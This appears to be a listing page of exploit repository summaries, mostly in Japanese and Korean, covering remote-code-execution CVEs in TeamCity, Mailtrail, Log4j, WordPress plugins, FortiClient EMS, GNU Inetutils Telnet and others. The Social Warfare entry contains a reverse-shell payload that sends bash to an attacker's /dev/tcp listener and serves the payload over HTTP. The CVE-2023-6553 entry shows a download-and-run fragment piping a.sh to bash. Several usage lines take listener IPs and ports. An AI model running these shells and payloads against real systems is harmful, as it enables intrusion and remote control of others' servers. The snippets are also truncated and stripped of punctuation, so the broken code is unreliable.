CVE-2023-42793

CVE-2023-42793について まず別のエクスプロイトを使用してトークンを取得する必要があります。ただし、以下のエクスプロイトはペイロードをURLにエンコードしてサーバーに送信するため、Linuxサーバー上でRCEを取得できます。 使用方法 root@kitploit: python3 ./main -t TEAMCITYTOKEN -u http://teamcity.runner.htb -p 80 -ni LISTENERIP -np LISTENERPORT...

CVE-2023-27163-AND-Mailtrail-v0.53

自動エクスプロイト 概要 以下のエクスプロイトは、Requests Baskets v1.2.1 SSRF脆弱性を悪用して、127.0.0.1:80で動作している内部アプリケーションを外部アプリケーションの/pwnedに転送します。Mailtrail v0.53 アプリケーションが転送されると、それに対してリバースシェルコマンドが実行され、数秒以内にユーザーはマシン上でリバースシェルを取得できます。 コマンド root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT エクスプロイ...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 플러그인 RCE 이 저장소는 WordPress용 Social Warfare 플러그인버전 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ Payload written to PAYLOADFILE" def starthttpserver: """Serve payload over HTTP"""...

CVE-2019-18426

WhatsApp 취약점 공개 - 오픈 리다이렉트 + CSP 우회 + 지속형 XSS + FS 읽기 권한 + RCE 가능성 CVE-2019-18426 기술 문서 원본 취약점 공개 문서 데모 동영상!...

fusionpbx_rce_vulnerability

前書き このシンプルなコードは、Dustin Cobb によって Caller ID を使用した RCE – FusionPBX の複数の脆弱性 で紹介された連鎖的脆弱性の実装を完成させようとするものです。 RCE 再現手順 1. 脆弱なオペレーター画面をウェブブラウザーで表示します。この例では https://fusionpbxaddress/app/operatorpanel/index.php にあります。 2. リモートシステム上で netcat リスナーを起動します rcelisteneraddress.x 3...

CVE-2021-44228-demo

log4j-shell-poc 最近発見されたCVE-2021-44228脆弱性の概念実証（PoC）です。 最近、log4jに新たな脆弱性が見つかりました。log4jは、elasticsearch、minecraft、その他多数で非常に広く使用されているJavaロギングライブラリです。 このリポジトリには、脆弱なアプリケーションの例と、それに対する概念実証（POC）エクスプロイトがあります。 概念実証（POC） PoCとして、プロセスを自動化するPythonファイルがあります。 必要条件: root@kitploit: pip install -r requirements.txt...

CVE-2026-35616

CVE-2026-35616 - FortiClient EMS 事前認証APIバイパスによるRCE TL;DR Fortinet FortiClient EMS 7.4.5および7.4.6...

CVE-2019-17564

CVE-2019-17564 CVE-2019-17564 : Apache Dubbo デシリアライゼーション リモートコード実行...

CVE-2021-21014

PoC 制限付き CVE-2021-21014 Magento バージョン 2.4.1（およびそれ以前）、2.4.0-p1（およびそれ以前）、2.3.6（およびそれ以前）は、ファイルアップロード制限のバイパスに対して脆弱です。攻撃に成功すると、認証された攻撃者による任意のコード実行が可能になる可能性があります。 影響を受けるバージョン: = Magento 2.4.1 ユーザー要件: メディアギャラリー +- 商品権限のみを持つ管理者アカウント Webサーバー: Apache 2 結果: RCE 参考文献...

CVE-2016-3714

CVE-2016-3714 ImageMagick コード実行 CVE-2016-3714 imagickbuilder.py = CVE-2016-3714 を悪用するためのシンプルなペイロードビルダー imagickbypassshell.php = PHP の imagick 拡張ラッパーを利用して無効化された関数をバイパスする PHP ベースのウェブシェル 動作している様子の画像: ペイロードビルダー: imagick ペイロード vs ImageMagick 有効な vBulletin 4.x: ペイロード発動後のサーバー側: ウェブシェル: コマンド実行: ファイル読み取り:...

CVE-2023-6553

CVE-2023-6553 WordPressのBackupプラグインにおけるCVE-2023-6553のエクスプロイト開発 これはCVSSスコア9.8の重大なCVEです。 この脆弱性により、攻撃者は脆弱なバージョンのプラグインを実行しているサーバーにコマンドを送信できます。 脆弱なバージョン Backup :9000/a.sh |bash';?"...

CVE-2024-23780

CVE-2024-23780 Netbox用エクスプロイト このスクリプトは、Netboxインスタンスでリモートコード実行（RCE）を可能にするCVE-2024-23780を悪用します。 使用方法 python netboxexploit.py --url --username --password パラメータ --url: NetboxインスタンスのURL。 --username: Netboxインスタンスへの認証に使用するユーザー名。 --password: Netboxインスタンスへの認証に使用するパスワード。...

CVE-2017-7494_IT19115344

CVE-2017-7494IT19115344 Samba에서 원격 코드 실행 취약점이 발견되었습니다. 쓰기 권한이 있는 악의적인 인증된 Samba 클라이언트가 이 취약점을 이용하여 루트 권한으로 임의의 코드를 실행할 수 있습니다...

CVE-2023-47464

GL-AX1800 ルーター セキュリティ評価レポート 概要 このレポートは、GL.iNet 製の GL-AX1800 ルーターに対して実施した包括的なセキュリティ評価の結果をまとめたものです。本評価は、デバイスのセキュリティ対策における潜在的な脆弱性と弱点を特定することを目的としています。評価の過程で、クロスサイトリクエストフォージェリ CSRF、安全でないファイルアップロード、パストラバーサル、リモートコード実行 RCE に至るファイルの上書き、および制限なしのファイルアクセスダウンロードなど、複数の重大なセキュリティ上の問題が発見されました。 脆弱性 クロスサイトリクエストフォージ...

CVE-2022-36234

CVE-2022-36234 の説明 SimpleNetwork TCP Server のコミット 29bc615f0d9910eb2f59aa8dff1f54f0e3af4496 には、細工された TCP パケットを介して悪用される二重解放の脆弱性が含まれていることが判明しました。二重解放を誘発することで、クライアントは任意の SimpleNetwork TCP サーバーをリモートでクラッシュさせることができます。また、他の状況では、二重解放の脆弱性は未定義の動作を引き起こし、状況によってはコード実行につながる可能性があります。 再現手順...

Strapi-RCE

Strapi-RCE CVE-2019-18818 と CVE-2019-19609 を組み合わせたエクスプロイトスクリプトです。Strapi CMS において認証なしでリモートコード実行を実現します。 エクスプロイト このスクリプトは、Strapi CMS バージョン 3.0.0-beta.17.4 以前の脆弱性を悪用し、認証なしでのリモートコード実行を可能にします。 説明 このエクスプロイトは、まずパスワードリセットの脆弱性を利用して管理ユーザーの JSON Web Token JWT を取得します。次に、そのトークンを使って Strapi CMS...

CVE-2016-2173

CVE-2016-2173 - Spring AMQP 원격 코드 실행 - 앱 테스트 설명 org.springframework.core.serializer.DefaultDeserializer 클래스는 역직렬화된 객체를 화이트리스트에 대해 검증하지 않습니다. Chris Frohoff의 Commons Collection 가젯과 같은 조작된 직렬화 객체를 제공하면 원격 코드 실행이 가능합니다. 영향을 받는 버전 1.0.0 1.5.4 공급업체 Pivotal의 Spring 설치 root@kitploit: - Maven 3.x+ - Java...

CVE-2026-24061

CVE-2026-24061 CVE-2026-24061 Telnet RCE エクスプロイト（Linux / macOS / Windows 対応） CVE-2026-24061 Telnet RCE 1.9.3 = GNU Inetutils = 2.7 使用方法: go-telnet-exploit -p チェック エクスプロイト...

CVE-2024-53900

CTF チャレンジ - Mongoose RCE CVE-2024-53900 チャレンジ概要 この Capture The Flag CTF チャレンジは、Mongoose の脆弱性 CVE-2024-53900 に基づいています。この脆弱性は、MongoDB クエリ内の $where 演算子の不適切な使用により、リモートコード実行 RCE を可能にします。 あなたの目標は、この脆弱性を悪用して、アプリケーション内に隠されたフラグを取得することです！ セットアップ手順 1 依存関係のインストール Node.js がインストールされていることを確認し、次のコマンドを実行します：...

firefox-rce-nssmil

Firefox RCE CVE-2016-9079 – 教育用JavaScript移植版 CVE-2016-9079の公開エクスプロイトの教育用実装です。元のExploit-DB/Metasploitモジュールをスタンドアロンで使用できるように移植したものです。 免責事項 このリポジトリは、教育および研究目的のみで提供されます。公開されているエクスプロイトのJavaScript移植版を含み、歴史的なブラウザエクスプロイト技術を研究するためのものです。所有していない、またはテスト許可を得ていないシステムに対する不正使用を意図したものではありません。 概要 このリポジトリには、Mozilla...